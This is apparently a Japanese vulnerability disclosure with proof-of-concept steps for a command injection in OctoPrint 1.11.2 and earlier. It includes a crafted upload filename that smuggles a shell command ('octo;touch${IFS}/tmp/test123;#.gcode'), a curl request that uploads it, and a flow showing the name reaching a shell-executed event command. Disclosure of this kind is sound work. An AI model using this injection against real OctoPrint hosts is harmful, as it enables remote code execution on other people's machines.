
OctoPrint バージョン <=1.11.2 では、ファイルアップロードアクセス権を持つ攻撃者(例:有効なAPIキーまたはセッション)が、サニタイゼーションをバイパスする悪意のあるファイル名を作成し、その後 OctoPrint のイベントシステムによって実行されることで、ホスト上でリモートコード実行(RCE)に至ります。
OctoPrint バージョン <=1.11.2 において、ファイルアップロードアクセス(有効なAPIキーやセッションなど)を持つ攻撃者は、サニタイズ(無害化)をバイパスし、後に OctoPrint のイベントシステムによって実行される悪意のあるファイル名を作成できます。これにより、ホスト上でリモートコード実行(RCE)が発生します。
最新安定版リリースをダウンロード: OctoPrint 1.11.2
octoprint serve --port 5000 --debug
上記の手順が完了したら、OctoPrint サービスを停止する。
OctoPrint イベントドキュメント に従う:
~/.octoprint/config.yaml を編集:
events:
enabled: true
subscriptions:
- event: FileAdded
type: system
debug: true
command: "{path}"
/tmp/gcode/ok.gcode を作成:
; minimal gcode
G28
M105
OctoPrint サービスを再起動する。
export API_KEY='<key previously gathered from webUI>'
ls -la /tmp/test123
INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'説明: ${IFS} はシェルの内部フィールド区切り文字(通常はスペース)です。注入時にサニタイズをバイパスします。
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
-F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
"http://127.0.0.1:5000/api/files/local"
ls -la /tmp/test123
/tmp/test123 が存在する場合、注入されたコマンドが正常に実行され → RCE が確認されます。
[ユーザーが細工されたファイル名でアップロード]
│
▼
server/api/files.py → 生のファイル名を受け付ける(メタ文字が sanitize_name を生き残る)
│
▼
events.py (EventManager.fire "FileAdded") → ペイロード {path} に生の文字が含まれる
│
▼
システムコマンドサブスクライバー → subprocess.check_call(..., shell=True)
│
▼
[注入されたシェルメタ文字が OS コマンドとして実行される]
ファイルがアップロードされると:
;、${IFS} などを含む)がシェルに渡される。結果: ホストシステム上でのリモートコード実行(RCE)。